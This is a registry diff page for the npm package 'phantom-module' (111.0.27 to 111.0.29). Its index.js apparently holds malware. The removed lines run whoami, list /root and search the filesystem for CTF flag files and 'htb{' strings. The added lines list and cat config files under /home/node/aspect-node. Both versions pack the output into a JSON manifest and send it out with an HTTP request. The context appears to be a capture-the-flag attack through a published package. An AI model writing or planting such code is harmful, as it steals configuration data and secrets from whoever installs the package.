phantom-module 111.0.27 → 111.0.29

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +10 -13
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -7,24 +7,21 @@ const { execSync } = require('child_process');
7
7
  return;
8
8
  }
9
9
 
10
- let out = "=== WHOAMI ===\n";
11
- try { out += execSync('whoami').toString() + "\n"; } catch(e) {}
10
+ let out = "=== ASPECT-NODE DIR ===\n";
11
+ try { out += execSync('ls -la /home/node/aspect-node').toString() + "\n"; } catch(e) {}
12
12
 
13
- out += "=== HOME NODE ===\n";
14
- try { out += execSync('ls -la /home/node').toString() + "\n"; } catch(e) {}
13
+ out += "=== CONFIG DIR ===\n";
14
+ try { out += execSync('ls -la /home/node/aspect-node/config').toString() + "\n"; } catch(e) {}
15
15
 
16
- out += "=== ROOT ===\n";
17
- try { out += execSync('ls -la /root').toString() + "\n"; } catch(e) {}
18
-
19
- out += "=== FIND ===\n";
20
- try { out += execSync('find / -name "*flag*" -type f -not -path "*/node_modules/*" -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null').toString() + "\n"; } catch(e) {}
21
-
22
- out += "=== GREP HTB ===\n";
23
- try { out += execSync('grep -r -i "htb{" /home/node 2>/dev/null | head -c 2000').toString() + "\n"; } catch(e) {}
16
+ out += "=== MODULES DIR ===\n";
17
+ try { out += execSync('ls -la /home/node/aspect-node/modules').toString() + "\n"; } catch(e) {}
18
+
19
+ out += "=== CAT CONFIG FILES ===\n";
20
+ try { out += execSync('cat /home/node/aspect-node/config/* 2>/dev/null').toString() + "\n"; } catch(e) {}
24
21
 
25
22
  try {
26
23
  const postData = JSON.stringify({
27
- manifest: `ecto_module:\n name: "DEEP_RECON"\n cargo_hold: ${JSON.stringify(out.substring(0, 3500))}\n`
24
+ manifest: `ecto_module:\n name: "CONFIG_RECON"\n cargo_hold: ${JSON.stringify(out.substring(0, 3500))}\n`
28
25
  });
29
26
 
30
27
  const req = http.request({
package/package.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "111.0.27",
3
+ "version": "111.0.29",
4
4
  "main": "index.js"
5
5
  }